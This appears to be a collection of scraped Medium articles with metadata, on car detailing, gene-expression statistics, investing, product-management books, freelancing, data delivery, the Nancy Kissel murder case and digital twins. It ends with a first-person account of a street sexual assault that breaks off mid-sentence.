How To Detail Interior Of Vehicle | How to detail the interior of a vehicle? Detailing the interior of your vehicle is very important. It is where you spend the majority of your time with your car. You also do not want to have guests in your car when it’s dirty. In this guide, we will provide you with all the steps and products to go about detailing your car’s interior.
Step 1- Garbage
The first thing to start with when detailing the interior of your vehicle is to empty all the garbage. This may include, food, papers, and any big items that you can throw away
You want to start the fine detailing with as minimal items in the way as possible so make sure you are checking under the seats and in the trunk for any loose garbage as well.
Step 2-Mats
To make your job easier we recommend you take out your car floor mats. Whether they are rubber or carpet they are also easy to clean outside your vehicle. To clean your rubber floor mats spray Meguiar’s All-Purpose Cleaner agitate with a brush and a Pressure Washer to spray them clean. The pressure is highly effective and will save a lot of time. To clean the carpet you will first vacuum them and then use an extractor to remove any stains and odours. That process with be explained in the next 2 steps.
Step 3- Vacuum
Giving your vehicle a thorough Vacuum is important because that is about 70 per cent of interior detail. When vacuuming makes sure to get in all the cracks and crevices around the floors and the seats as well. To lift more dirt from the floor you can simply use a carpet brush, agitate the fibres of the carpet and continue to vacuum again.
When vacuuming the door and dash area, take one of your ultra-soft detailing brushes and simply brush the panels as your vacuuming. This will lift the dust and debris from all the cracks as the vacuums suck it up.
Step 4- Carpet/Upholstery Extraction
Carpet extraction can be optional if you’re just starting out detailing as a bigger. It is recommended to do a carpet and upholstery extraction when you have stains, bad odour, salt, etc. A lot of dirt gets trapped within the carpet fibre and it is just not enough to vacuum them out. The most affordable carpet extractor for beginners would definitely be the Bissell SpotClean Professional
Extracting carpets is a pretty simple procedure. You must first spray a cleaner on the carpet in this case I recommend you dilute Meguiar’s All-Purpose Cleaner and spray it on the surface. Agitate with a carpet brush, and use your extractor that should be filled will hot water and spray water as your extracting over the area. Repeat the process as many times as needed. After you have removed the stain extract the area without spraying water, this will dry the area.
Step 5- Fine Detailing
The next step on how-to detailing the interior of your car is the fine detailing and cleaning of the panels. You must clean all the doors, dash, trim, steering wheel because, over time these surfaces contain dust, debris, and also oils from your arms and hands.
It is really simple when clean the panels of your vehicle. You will use Meguiar’s All-Purpose Cleaner diluted 20:1, your interior brushes, and some Microfibers. Spray the solution on the panel you are working on agitating with your ultra-soft interior brushes then wipe excess with a microfiber towel. Just repeat this process for all the plastic, trim, and dash.
Pro tip if you have an air compressor it can be helpful for blowing area any fine debris and any excess solution from the fine cracks.
Step 6- Leather Cleaning
Leather seats are really simple to clean all it requires is the Meguiars all-purpose cleaner diluted 20:1, a leather brush, and microfiber towels.
The process is straightforward, spray the solution directly on the seat or on your brush. Agitate the surface and wipe away the residue with a microfiber. Repeat this process as many times as need to clean your leather seats.
After you finish cleaning the leather seats it is extremely important to condition them. This softens the leather and prevents it from cracking and fading. Simply take some leather conditioner, put a few dots on a microfiber applicator pad, and massage into the leather seats. You can wipe any remaining residue off with a microfiber towel.
Step 7-Dressing & Protect
After you have cleaned all your interior panels, you want to protect them. The interior panels tend to take a lot of exposure from the sun and over time it can damage your interior plastic trim. What you are going to want to do is take a quality protectant such as 303 Aerospace and apply it using a microfiber applicator on all plastics, vinyl, and dash. This will protect these surfaces from the sun and always give them a nice brand new finish.
Step 8- Steam Sanitize
For a very professional touch if you have a little extra money to spend it is recommended to get a steamer. You can use a steamer to clean almost every part of your interior but most important to sanitize your car and remove odour. A quality steamer for a good price we would recommend McCulloch Canister Steam System.
To sanitize your vehicle’s interior you will want to blow the steam through all the parts of your vehicle. Gently pass it through the car and do not let it touch any surfaces directly as it could cause damage. Also, it is important to blow the steam into the vents of your vehicle as that’s where a lot of the odour gets trapped
Step 9- Refresh
Finally, after you have removed all the bad odours and sanitized your interior it is important that you refresh it with a new smelling scent. We recommend Meguiar’s Carpet & Cloth Re-Fresher Odor Eliminator is, it has a new car scent. With this air freshener simply spray on your carpets and mats and let it fill up your vehicle with a new car scent. | https://medium.com/@raanand2574/how-to-detail-interior-of-vehicle-cb1120377383 | ['Raanan Dasilva'] | 2020-12-26 00:52:32.452000+00:00 | ['Car Detailing', 'Cars', 'Car Interior', 'Auto Detailing', 'Business'] |
Is logistic regression a good analysis tool for differential gene expression? Only PCR will tell. | As a biologist, I have never really thought out the computational resources I have used to analyze my data. The NIH National Center for Biotechnology (NCBI) website has always provided a fabulous resource for genomics and never disappoints. There are so many great tools for biologists as well as a repository for both uploading and downloading sequences or microarray data. But what about the code and statistical methods used for data analysis?
Bioconductor is an open-sourced software used for bioinformatics. Within Bioconductor is the package, limma. This package is the R code used to analyze microarray data on the Gene Expression Ominbus, GEO, website within the NCBI web site. Limma uses logistic regression combined with empirical Bayes to determine p-values for each gene compared between groups selected by the person performing the query. Literature for the package states that it fits the linear regression on each of the genes, where the rows are the genes and the columns are the samples.
For my analysis of ulcerative colitis and Crohn’s disease samples, I created a dataset where the rows were the samples and the genes were the features. With both normal and disease samples, I was able to create a linear regression model with 1.0 accuracy (baseline = 0.62) for the ulcerative colitis samples and .92 accuracy for the Crohn’s disease (baseline = 0.58) on the small dataset that I had.
However, the gene list I created from the linear regression model was different than the results of the Bioconductor query. For the ulcerative colitis comparison, there were 4 of the same genes and for the Crohn’s disease comparison there were 3 of the same genes for the top 10 differentially expressed genes as to the Bioconductor query.
Top 10 Differently Expressed Genes between Ulcerative Colitis and Normal Samples-Logistic Regression vs Bioconductor
Top 10 Differently Expressed Genes between Crohn’s Disease and Normal Samples-Logistic Regression vs Bioconductor
One of the great things of differential gene expression analysis is the relative ease of confirming results. TaqMan PCR allows researchers to confirm the differential gene expression of a set of genes and look at the relative amount of difference at the same time. The goal of adding different models to microarray analysis is not only to predict the expression but to enhance and add more genes to the answer. Computational biology is a useful tool to distill the variables to a small set, but nothing replaces the verification of expression through PCR. | https://medium.com/@masonpatricia/is-logistic-regression-a-good-analysis-tool-for-differential-gene-expression-only-pcr-will-tell-19606532f685 | ['Patricia Mason'] | 2020-12-14 17:24:53.046000+00:00 | ['Statistical Analysis', 'Logistic Regression', 'Bioinformatics', 'Bioinformatics Tools'] |
Should You Prepare For The Next Market Crash? | Yes. We should all always prepare for a severe market turndown. To be prepared is to be forewarned. Forewarned is forearmed. Preparation prevents piss poor performance.
A downturn is inevitable. We know the market behaves cyclically, and corrections are part of the circle.
That being said, we have no idea when it’s going to occur. It’s like the sword of Damocles hanging over our collective heads. If we prepare, take it as inevitable, and don’t freak out and sell when it happens, we can weather the storm.
It’s like a rainstorm. When it occurs, we put on our inclement weather gear and go about our business.
Our investment inclement weather gear is: not investing money in the market that we will need soon, researching the companies and funds we invest in, and not selling when things go south.
It’s how stoic philosophy prepares us for the unanticipated, so we don’t feel ambushed. We know we will experience problems and disappointments. We just don’t know what and when. So we prepare as good stoics, and when they happen, we calmly acknowledge them and recognize that this is one of those things to which we have acclimated ourselves. A market crash is no different.
What goes down, comes up again. The stock market operates on an inversion of Newton’s law of gravity. Benefitting from it is a matter of discipline and patience. And growing a pair.
Before investing, have a safety fund set aside, pay off your credit card and consumer debt, and start a side hustle. De-risk your life and spending.
With all that being said, there is no way of knowing when a market crash or downturn will occur.
There are a lot of pundits that will sound the alarm. They will have an analytic thesis about why now is the time to get out of the market. One or some of them will be right. A broken clock is right twice a day (unless it’s European time, then once a day.)
These prognosticators have a vested interest in being chicken little. The right one will get high visibility for the next cycle as an authoritative voice. “Tonight we have with us so-and-so, who predicted the 2008 crash, or the dot-com bubble burst.” The publicity helps them sell merch or consult.
Media and writers also have a vested interest in doom and gloom. A clickbait headline draws in readers (I did it here, which is why you are reading, but I intend to deliver some valuable perspective.) Reader’s eyeballs translate into money.
Take it with a grain of salt (what does that saying even mean?) when you see the next pundit proclaim immanent market doom. And keep track of who says what, so you can gauge their credibility in the future.
That is a crucial point. The cost of wrongly predicting a market crash is low for someone’s reputation. But the value of being right, even though there is a low probability at any time, can be career-making.
It can make personal economic sense for someone to regularly predict a downturn like a broken clock and point to when they are right.
And they can always explain away tomorrow why what they predicted yesterday didn’t happen today. Prediction is an asymmetric game.
It all comes into focus after the fact, and many will show post-event why all the indicators were there and how the stars had aligned, and all these obviously predictive indicators.
Everything looks obvious after the fact.
This screed is all preamble to the big takeaway: think for yourself. Think in bets and probabilities. Keep track and measure your results and the outcomes of your positions. Extract lessons from what happens, and you will learn and get better over time. Expertise can come from the gradual accumulation of many modest insights.
Do your own independent thinking. Be the chess player, not the chess piece.
Think about the alternatives if you were to listen to all the market doomsday advice. Is the best thing to do cash out and take your money and hide it under the mattress?
Inflation erodes the value of money. Putting it in the bank gives no interest income anymore. Bonds provide little return. Gold might be a store of value, but it is not an income-producing asset. Cryptocurrencies might be gold 2.0, but they are speculative and risky.
TINA
There is no alternative. The stock market represents your best bet for creating wealth.
If you want financial independence, you have to put money to work for you. Everybody who really makes money at some point owns a piece of a business or some intellectual property. You won’t become rich trading your time for money.
Real estate investing is an excellent way to diversify but only in residential properties. The office market may never come back, and bricks-and-mortar retail is doomed.
And with residential, be prepared for deferred maintenance costs and calls from tenants to fix the air conditioner and toilet. Keep your toolbelt handy.
Real estate is illiquid. Stocks are liquid, and they don’t request you fix the sink.
Stocks are where it’s at. If you heed the warnings and pull your money out and wait on the sidelines, you run a significant risk of having the market run away from you and paying more to get back in. That is a legitimate FOMO.
It’s not timing the market but time in the market.
Think for yourself. Get better at doing research and recognizing the products and services you use, and understanding the companies behind them.
Incredibly, we can identify stock opportunities and invest in companies, and become part owners. That, to me, is amazing. It seems like the ultimate thing that would be hoarded by the elites and blocked off from access to you and me. You can buy a seat at the table. You can have Warren Buffett and Jaime Diamond and Elon Musk and Zuck working for you. As they succeed, you succeed.
Investing is an open secret. The fact that we can participate in stock investing is an opportunity that I find absolutely remarkable.
If you are in it long enough, there is a good chance you will get lucky and experience a rise. Energy, thrift, and diligence are how wealth is built, not dumb luck.
But prepared luck does play a role, many times a big one.
To attract good luck, it’s necessary to take advantage of opportunities. Try to take advantage of the best opportunities as they come to you.
“The fact is that in order to do anything in this world worth doing, we must not stand shivering on the bank thinking of the cold and the danger, but jump in and scramble through as well as we can.” ― Sydney Smith
Good luck often follows opportunity but seldom the other way around.
The goddess of good luck favors action. The stock market is an opportunity.
As Warren Buffet said,
“Opportunities come infrequently. When it rains, put out the bucket, not the thimble.”
And when it rains, be prepared with an umbrella and galoshes. | https://medium.com/mba-asap/should-you-prepare-for-the-next-market-crash-1a1ae14869e2 | ['John Cousins'] | 2020-12-16 23:31:37.626000+00:00 | ['Money', 'Stock Market', 'Wealth', 'Finance', 'Investing'] |
A product manager’s bookshelf | Table reference — great to have at your fingertips
Product and design insight
Inspired: How to Create Tech Products Customers Love V2 by Marty Cagan — A handbook for world-class product discovery and delivery ⭐
Escaping the Build Trap: How Effective Product Management Creates Real Value by Melissa Perri — Product Management principles for building an effective product organisation and culture ⭐
Hooked: How to Build Habit-Forming Products by Nir Eyal — A framework for building engaging products through the development of habits ⭐
Sprint: How To Solve Big Problems and Test New Ideas in Just Five Days by Jake Knapp and John Zeratsky — A structured process to quickly and effectively look at improving your products and testing the hardest assumptions in 5 days ⭐
User Story Mapping: Discover the Whole Story, Build the Right Product by Jeff Patton — The definitive guide to user story mapping by its inventor ⭐
Design of Everyday Things, Revised and Expanded Edition by Donald A. Norman — A pioneering work on the application of cognitive science to design ⭐ | https://uxdesign.cc/a-product-managers-bookshelf-4a0c036c3df6 | ['Julian Connor'] | 2019-12-18 20:31:19.429000+00:00 | ['Startup', 'Agile', 'Technology', 'Product Management', 'Books'] |
If You Want To Earn More As A Freelancer, Don’t Increase “Productivity” | If you’re a Freelancer who wants to increase income, independence, and security (the Freelancer Trifecta), then the last thing you want to do is increase “productivity.” You want to increase accountability.
Being paid based on the hours you work is the slow and certain death of the Freelancer. And no amount of “optimizing your time” will help you escape this death unless you can create more accountability between yourself and your clients.
The problem is that most people are drawn to Freelance because it promises independence. Work from anywhere! Be your own boss! Because of this, many freelancers hear the word, “accountability” and think, “more work, more responsibility.” But this thinking is one of the great fallacies of Freelance. And in fact, the opposite is true.
For Freelancers, the more your clients are COUNTING on you, the more freedom, security, and earning potential you have.
Low Accountability vs. High Accountability
“Keeping your promises,” or, “doing what you say you’re going to do,” is just the starting line of accountability for a true Freelancer. The real race to run is to move from positions of Low Accountability to High Accountability.
Low Accountability = “If you don’t do it, someone else will.” High Accountability = “If you don’t do it, I don’t know who else will.”
Low Accountability
When I was in high school I worked at a coffee bar. My shift always started in the afternoon until one morning when my boss called me in a panic. The girl who was scheduled to open was a dreaded, no call, no show (the death of accountability).
“No worries,” I said. “School can wait. I’ll be right there.”
I pulled up and rushed past the line of customers suffering from rapid caffeine-withdraws. I offered a “I’m not even supposed to be here today,” shoulder-shrug, fired up the espresso machine, and made the coffee go drip. And as the cappuccinos foamed and 10% discounts were applied, all was forgiven.
Now, as a worker, Miss. No Call, No Show held a position of Low Accountability. Not because she didn’t show up, but because her physical presence didn’t really matter. The owner just called me. And if I hadn’t answered, he could have thrown a rock across the street and hit another flaky teenager willing to work for $7 an hour.
In Low Accountability relationships, someone is counting on you, but the stakes are low.
High Accountability
To hold a position of High Accountability, you’ll need to provide something that will have a profound impact on the person who is counting on you. It must be something that they cannot do themself, and something that very few other people can do at a high level.
This would include Specific Knowledge, Specialized Judgment, or a set of tangible skills that are difficult to earn and not easily accessed.
Magic Formula for High Accountability: Provide X, Produce Y
If the standard agreement between Client and Freelancer is “Freelancer provides X, which will produce Y,” then you want X to be something that is mysterious and/or intimidating to 99% of the population. X should look like work to others, yet feels like play to you.
Y must then represent an aspect of the client’s business that they cannot live without. It doesn’t matter if you’re the best in the world at X if the Y it produces is not an absolute necessity to the Client.
X = Specific knowledge, specialized judgment, or a set of tangible skills that protected by a steep learning curve of hard things. Should be mysterious and intimidating to Clients and other Freelancers. Y = A non-negotiable necessity in the client’s business. If Y doesn't happen, then the Client cannot accomplish A, B, or C.
Finding Your X
Accountability = Leverage
Let’s back up for a moment and remember an important truth about Freelance work: Getting paid based on your time or physical presence is slow and certain death. There is a big difference between having multiple clients who are COUNTING on you and having multiple bosses paying you for your time. If your income is in direct proportion to the hours you work, you’re not a Freelancer — you’re a remote worker with a 1099.
To hit the Freelancer Trifecta of high-pay, independence, and security, you do not want to be held accountable for merely “showing up.” You want to be accountable for creating Force Multipliers.
A Force Multiplier is something that produces a profound amount of value compared to the physical hours you put in. And being in a position of High Accountability allows you to charge not based on the two hours you spent working but based on the 100+ hours of value you created.
This is the real dream of Freelance: create a series of professional relationships where you are highly accountable for providing Force Multipliers.
Now, if you’re thinking to yourself, “I don’t have any skills or knowledge that fit into this model — fear not. This framework of accountability is something to work toward. You don’t have to hang up your Freelancer hat if you’re still trading time for money. This is a mental model that can be approached and realized in a few different ways.
First, if your tangible skills are common, you can start by focusing on ways to create more intangible value. Maybe that looks like offering advice on other aspects of the Client’s business. Maybe it’s becoming a friend or trusted confidant. Don’t forget — entrepreneurs (clients) are often lonely and insecure. They walk around day after day with a vision of the future not shared by others. They are often surrounded by people who encourage them, yet do not share the same level of interest or excitement in their wild ideas.
Clients suffer from Imposture Syndrom the same as everyone else, which is yet another point of leverage for the Freelancer.
As a Freelancer, your job is to serve the vision of the Client. However, if you can demonstrate high levels of interest, loyalty, and passion for that vision in a thoughtful way, your Clients will have no choice but to COUNT on you more and more in intangible ways.
Thoughtfulness and sincerity are two things that large agencies cannot scale, and are traits most Freelancers overlook. | https://medium.com/@coreymccomb/if-you-want-to-earn-more-as-a-freelancer-dont-increase-productivity-dea8ad952aa3 | ['Corey Mccomb'] | 2020-12-13 21:03:16.556000+00:00 | ['Freelancing', 'Productivity', 'Work', 'Entrepreneurship', 'Freelance'] |
Treat your data like a pizza. | You might laugh at my anecdotal reference. Oh I work for an online food takeaway platform. I work in data I get it.
Just for some background. Before my current career in data, I worked multiple part time jobs paying my way through University. I spent some time travelling the world and during both these times I worked, yep, as a pizza cook.
I personally feel grateful to have worked in hospitality when I was younger. It’s given me an appreciation for this industry and how customer service plays a role in getting customers to come back.
I used to deliver pizzas to people. Long before smart phones and GPS maps. Armed with grid coordinates, a street directory (Refedex-yeah Brisvegas) and a torch to find the house numbers, I’d deliver orders of pizzas most nights during the week. Making sure hungry people got their pizzas delivery on time so they could enjoy them still steaming hot.
It was at a data event last year, talking to other people in my network, eating pizzas and sharing stories about difficult stakeholders when I jokingly made the connection.
Data is like delivering a pizza.
Think about it. You are handing the (hopefully) hot pizza (or insight) over to the customer. They are hungry and have paid extra for the service.
Think about the last time you had a bad takeaway. Have you ever gone back to the same restaurant and ordered again?
They want to know that what is in the box is exactly what they ordered. They don’t want to have to check it right then out on the street in the cold. They want to receive their product all in one piece. Not all squashed and soggy.
What they don’t want is someone leaving their pizza at the front door, or just tossing it at them, hoping they catch it.
And yet that’s exactly what some companies do with their data. Their business users place an order, the analyst prepares it and the just fires off an email to them with some data or some charts as an attachment. The equivalent of driving past their house and just frisbee the pizza box at the front door.
Why?
Time, pressure, volume of work, the normality of how data and information is delivered to the business. There are probably lots of other reasons, but not for this blog post to go into.
When I came to this realisation, I knew I had been guilty of this in the past. As analysts we were never really trained on this part. This “data handoff” to the customer. | https://medium.com/cmding-tableau/treat-your-data-like-a-pizza-feed84ab50cd | ['Kris Curtis'] | 2020-11-16 14:57:59.858000+00:00 | ['Self Service Bi', 'Analytics', 'Data Visualization', 'Data Strategy', 'Data'] |
Hong Kong ‘Milkshake Murderer’ Served Her Husband Drug-Laced Milkshakes | Hong Kong ‘Milkshake Murderer’ Served Her Husband Drug-Laced Milkshakes
Hong Kong ‘milkshake murderer’ Nancy Kissel. Photo Source.
By midnight on November 6, 2003, Hong Kong police were investigating a storage room at the posh Parkview apartments complex. They spotted a suspiciously hefty rolled carpet tied with string and bound with adhesive tape. When the police unrolled it, they found what they expected — a dead body. The police knew immediately that the victim had been dead quite a while; the smell emanating from the decomposing body was too strong to be a recent death.
The police’s investigation had been prompted by calls from David Noh, a vice president in Merrill Lynch’s Hong Kong office. He reported his colleague and close friend, Robert Kissel, had been missing for four days.
Within hours of Noh’s call, police went to Robert Kissel’s apartment for investigation. They interviewed Robert’s wife, Nancy Kissel. They asked her about her husband’s whereabouts and had an inquiry into a police report she had filed that morning. In her report, she stated that her husband had beaten her over the past weekend.
Later that evening, the police interviewed the apartment’s maintenance staff and learned that Nancy Kissel had called the management office the day before and requested a carpet moved to her storeroom. The staff said that it was unusually heavy and that it had taken a team of four workmen to move it. Nancy Kissel had said nothing about the storage room, thus the police became suspicious and immediately applied for a search warrant to enter the storage room.
Two hours after Robert Kissel’s body being found, police arrested Nancy Kissel and she was charged with murdering her husband.
Robert Kissel, the victim of his wife. Photo Source.
Road to Becoming a Financial Elite
Nancy and Robert Kissel began dating in 1987 and were married in 1989. While Robert was studying full-time master’s degree in finance from New York University, Nancy, who holds a bachelor’s degree in business and a Masters in design, worked three part-time catering jobs to support him. This highly educated and refined lady deviated from her own career goals to help her husband further his ambitions.
Robert’s wishes came true. He got a job in Goldman Sachs Group Inc. and was assigned to the Hong Kong office. Then in 2000, he hopped to Merrill Lynch, where he was promoted to managing director and head of the investment bank’s Global Principal Investments Division for Asia-Pacific.
The Kissels lived in the Hong Kong exclusive community where they enjoyed the luxury American lifestyles. Despite their wealth, the Kissels were not living in bliss, Robert was on-call to company 24/7 and Nancy was lonely at heart.
Spying Wife’s Personal Email
In 2003, the SARS (severe acute respiratory syndrome) which was similar to today’s COVID epidemic, had struck Hong Kong. While Ms. Kissel and the children had been evacuated to the US, her workaholic husband stayed on for his jobs. They decided to take their children to the family’s vacation home near Stratton Mountain, Vermont.
As the epidemic worsened, it was uncertain when it would be safe to return to Hong Kong. Nancy ordered a home theatre system, figuring that she and her children would be staying at the vacation house for an indefinite duration. The man who sold the equipment sent his brother, Michael Del Priore, to install it for them.
Michael Del Priore, a young and well-built TV repairman who lived in a trailer park in Vermont, kept in touch with Nancy after completing the installation. They talked in depth and Nancy confided in him about her troubles. Their friendship soon turned into romance, and Nancy later admitted to having sex with him three times in her Vermont house.
By the end of the summer, the SARS epidemic had subsided, and Nancy returned to Hong Kong with her children. She kept close contact with Del Priore, calling him frequently. Robert suspected his wife was cheating on him, so he hired a private investigator and installed spy software which monitored her Internet use and copied all her emails to him.
“It’s really hard to talk to you on the phone, but you have to know that I think about you constantly, not being able to talk to you really drives me crazy. Honey, I love you.”
“I love you when you call my name. It makes me melt.”
More and more love messages between the adulterers were disclosed, and some were even erotic, such as discussing sex positions.
It cut Mr. Kissel to the heart that he couldn’t take it anymore. He consulted with his lawyer about divorce and child custody. However, he ignored the legal advice and maintained his will in which he left an estate estimated at USD $18 million to his wife.
The Homemade Pink Milkshake
Forensic tests found traces of four sedative drugs in Robert Kissel’s stomach. Prosecutors said Ms. Kissel had drugged her husband with a spiked strawberry milkshake, before cracking his skull with a heavy statuette.
The Kissels’ neighbor, Andrew Tanzer, testified he had a visit to Kissels’ apartment with his 7-year-old daughter for a play date on November 2, 2003. He was chit-chatting with Mr. Kissel. Meanwhile, the Kissels’ 6-year-old daughter brought out two glasses of homemade strawberry milkshake, one for Tanzer and the other for her father. Tanzer became drowsy and then unconscious after being home at 4 pm. He described the milkshake as “reddish in color, strawberry flavoring…. heavy, sweet, thickened, tasting of bananas and crushed cookies.” Nancy Kissel told Tanzer that it was “a secret recipe” and that the color was to match the spirit of Halloween that had just passed.
Mrs. Kissel was accused of drugging her husband with the pink milkshake spiked with sedatives to render him defenceless, then beating him to death. The prosecutors suggested that she was motivated by a fear of divorce and a desire to secure life insurance payments.
However, Nancy Kissel, who pleaded not guilty to murder charges, told a very different story in court.
Forced Anal Sex for Years of Humiliation
Nancy Kissel’s defence team argued that she was the victim of her violent husband. According to her testimony, her marriage had been deteriorating due to her husband’s growing dependency on cocaine and alcohol. As he became successful in his career, he became more and more physically and emotionally abusive.
With the birth of the first child, Nancy began to gain weight and her breasts sagged. Robert didn’t find her attractive anymore, and he developed a fetish for anal sex. Nancy believed that her husband no longer wanted to see her face during sex. Whenever she refused his demands, he would beat her and force entry on her. His violent penetration often caused her bleeding. This took serious tolls on both her physical and mental health.
“He made me feel like a whore …… I was no longer being like a wife or mother and all that was left between us was sexual violence and a money deal the next morning!”
Nancy Kissel had admitted manslaughter but denied deliberately killing her husband. On the night of November 2, Robert Kissel told her that he had filed for divorce. When she questioned her husband, he was irritated and threatened her with a baseball bat. “I’m going to kill you, bitch!” The couple struggled fiercely, and just then, in her defence, she smashed his head with the metal statuette.
The Verdict
What undermined the defendant’s credibility was her claim that she could not recall what happened in the days following her husband’s death. With respect to all the events between November 2 and 7, she offered similar replies: “I don’t remember” or “I have no recollection”, though a surveillance camera at her apartment building captured her carrying a large object wrapped in a carpet out of the building after her husband’s death.
After a marathon three-month trial, the jury of five men and two women decided on her guilt unanimously. On September 1, 2005, Nancy Kissel was sentenced to life imprisonment. She appealed her conviction, her lawyer arguing that the prosecution had used improper evidence, including hearsay. Besides, there were problems with the original jury instructions. Nancy pleaded her case before Hong Kong’s Court of Final Appeal. The court allowed the appeal and ordered a retrial.
On March 25, 2011, after months of the retrial, the jury of seven women and two men unanimously found Nancy Kissel guilty of murder and she was again sentenced to life in prison. When she heard the verdict, she looked dazed and her body shook back and forth.
“I have finally fallen into the black hole, a hole so deep that I truly believe I am worthless. I have lost my soul!”
This was written in Nancy’s diary three months before she killed her husband. Unless she was so deliberate that she used the diary as a tool to defend herself in the future court, she had no readers here, only herself, and what she said was from the bottom of her heart.
She had been the most vulnerable woman, but also the most dangerous one. | https://medium.com/chameleon/hong-kong-milkshake-murderer-served-her-husband-drug-laced-milkshake-f72d6c8e00b | ['Adam Novak'] | 2020-12-25 05:01:47.606000+00:00 | ['Hong Kong', 'True Crime', 'Crime', 'Alcohol', 'Drugs'] |
Digital Twin Solutions | Combined Power of IoT, AI, Data, Cloud, Machine Learning
Digital Twin Solutions
An architectural overview and business value for industry
Image by ArtTower from Pixabay
In this article, I want to introduce Digital Twin concept as an emerging technology used in various industries. My aim is to give an overview and shed lights on this emerging technology, architectural construct, and business initiative based on my experience. I explain the digital twin concept using the Cyber-Physical System architecture, business use cases, and value proposition.
Digital Twin concept is simple however manifesting them in reality can be complex and difficult to due to combination of underlying technology stacks, tools, and integration requirements. Therefore, a structured and methodical approach to the topic is essential.
What is a Digital Twin?
At the highest level, a digital twin (DT) is an architectural construct which is enabled by a combination of technology streams such as IoT (Internet of Things), Cloud Computing, Edge Computing, Fog Computing, Artificial Intelligence, Robotics, Machine Learning, and Big Data Analytics.
Even though the term digital twin was coined in 2002, by Michael Grieves in the University of Michigan, this technology architecture was used by NASA in the Apollo 13 program in the 1970s to create identical space vehicles, one in space and one on earth. But we lacked the underlying technology capabilities on those days: no Cloud, no ML, no IoT, no Big Data.
With limited capabilities, this approach enabled the NASA engineers to manage the physical device using the virtual counterpart on the surface.
As you may have read, the famous book, Mirror Worlds by David Gelernter, popularized the concept in 1993.
The digital twin concept turned into reality thanks to rapidly growing new technology stacks and capabilities such as Cloud, IoT, AI and Big Data.
DT nowadays are used in various industries, in large business organizations, and the startup companies. Manufacturing industry embraced it for its compelling business proposition. There are many DT initiatives globally.
DT initiatives use the PLM (Product Lifecycle Management) method. PLM is implemented using various agile approaches integrated with propriety methods belong to business organizations. The method is supported by Design Thinking workshops during the conceptual stage. You can find more on Design Thinking in the attached article.
To add clarity, let me give you an architectural overview of the DT concept.
The Architecture of Digital Twin Concept
In DT concept, each physical object has its virtual counterpart. These virtual counterparts are called virtual mirror models. These virtual mirror models have built-in capabilities to analyze, evaluate, predict, and monitor the physical objects.
This innovative architecture of DT concept creates a powerful communication mechanism between the physical (material) and the virtual world by using data.
In DT architecture, physical and virtual components integrate synchronously to create a close loop.
Digital twin initiatives are the practical implementation of Cyber-Physical Systems (CPS) architecture in engineering and computer science domains. To understand the technical aspect of the digital twins, we need to know the CPS architecture.
In a nutshell, CPS is a technical construct converging physical and virtual domains. The core architecture of CPS is to embed communication and computing capacity into physical objects so that physical objects can be coordinated, controlled, and monitored via virtual means.
CPS integrates physical processes, computing, and networking as a single entity called embedded object. We can use embedded objects in various devices and appliances. The prime examples are medical devices, scientific instruments, toys, cars, fitness clothes, and other wearables.
CPS requires architectural abstraction and modelling. Based on the models, we can develop designs leveraging computation power, data, and application integration for monitoring of physical phenomena such as heat, humidity, motion, and velocity.
CPS can leverage IoT (Internet of Things) technology stack. CPS can be part of the IoT ecosystem in global IoT service providers. You can read the details of the IoT ecosystem in the attached article.
Scalability and capacity of the embedded objects are critical. You can read more about the architectural implications of scalability and capacity of IoT devices from this article.
Use Cases & Business Value of Digital Twin Initiatives
The primary use case for DT is asset performance, utilization, and optimization. DT enables monitoring, diagnosing, and prognostics capabilities for this use case. For example, DT can be used to optimize cars, locomotives, and jet engines. This use case can improve the productivity and customer satisfaction.
DT can be ideal for creating 3D modelling of the digital objects from the physical objects. This use case is a critical success factor for smart manufacturing initiatives.
DT is commonly used for identifying symptoms with constant monitoring and finding the root causes of production issues in factories. The business value for this use case is to improve productivity.
Healthcare projects commonly use DT for simulation purposes. For example, doctors practice risky operations in simulated environments before attempting them in the patients. This approach address the safety concerns.
Town planners use DT initiatives by using the virtual models to improve the city conditions in a proactive manner. This approach can reduce the complexity and simplify the processes for planners.
In Enterprise Architecture initiatives, we use DT as an architecture blueprint of the business organization. This helps us articulate the big picture to our business stakeholders.
As a stream of the hyper-automation concept in the IT industry, we use DT as part of the Robotics Process Automation (RPA) initiatives. You can check the details on RPA in my attached article.
Conclusion
Digital twin is a reality now. It is not a concept any more. Even though it is seen as an emerging technology, it is widely used in various industries such as manufacturing, automotive, healthcare, and smart cities.
There is a growing interest for use of this technology globally. For example, last week in Australia, the NSW government launched a large DT initiative. The initiative includes virtual environment of more than half a million buildings.
Understanding the underlying technology stacks is critical for architecting and designing digital twin solutions. To this end, the key technology considerations are IoT, Cloud, Edge, Fog, AI, ML, Robotics, and Big Data Analytics. You can check the following articles related to these technology domains.
As a concluding remark, while architecting and designing digital twin solutions, we need to understand the business goals, requirements, and use cases based on the industry. There may be additional industry compliance and ethical considerations that solution architects and designers need to know upfront.
You are welcome to join my 100K+ mailing list, to collaborate, enhance your network, and receive technology newsletter reflecting my industry experience. | https://medium.com/technology-hits/digital-twin-solutions-c5288fcc3bc7 | ['Dr Mehmet Yildiz'] | 2020-12-06 06:31:05.434000+00:00 | ['Digital Twin', 'Technology', 'Future', 'Design', 'IoT'] |
A submission to the Everyday Sexism project (written when I was 17) | I was walking home the other day in broad daylight — had my headphones on jamming along, when a tall black man in a hoodie and CHINOS for crying out loud casually put his arm around me and started chatting me up. Stupidly I thought it was someone I knew for a second so didnt shrug his arm off immediately He took this as a good sign!? When I did shrug him off and began to walk faster — on MY road on MY route home at 1pm in MY happy day — thinking this had happened before he’ll just walk away. But he didnt. He continued to chat me up — What endz am I from etc. I pretended to be a 15 year old girl who was very nerdy and studied a lot (basically me 3 years ago). Cheeky men had come up to me before chatting me up. This guy was different. He tried to shove me in an alley after shoving me against the wall and groping my breasts. I was shocked outraged INDIGNANT. I was actually quite posh about it — saying excuse me ! I couldn’t believe this was bloody happening ! groping me in bloody daylight ! But this went a bit further than incidents on the Everyday Sexism Project. He tried to shove me in an alley again I reiterate this point because it was 1 PM IN THE DAY. But I fought him. Some TV show came to mind — some scene where a girl is raped at night all alone in an alleyway and her resilience and also the adrenaline enabled me to push his hands away from my top to stop him from yanking down my bottom and his torso from invading MY space. I ran away him in pursuit, across the road outside my grandmother’s old house — dead not even a year ago. A builder SAW me and SAW him and LOOKED back down. I cant be angry at him he didn’t speak very much English as it turns out and couldn’t have seen what was going on a few moments ago. The attacker — cant believe I’m saying that — called out after me ‘Come on!’ ‘Why are you having a temper tantrum’. ME a blooody temper tantrum the cheek! I wasnt even wearing anything that revealing ! I ensured my top was sufficiently covered by my scarf! I had been to 6th form for goodness sakes ! I ran home after that — just 10 houses down. I could see my 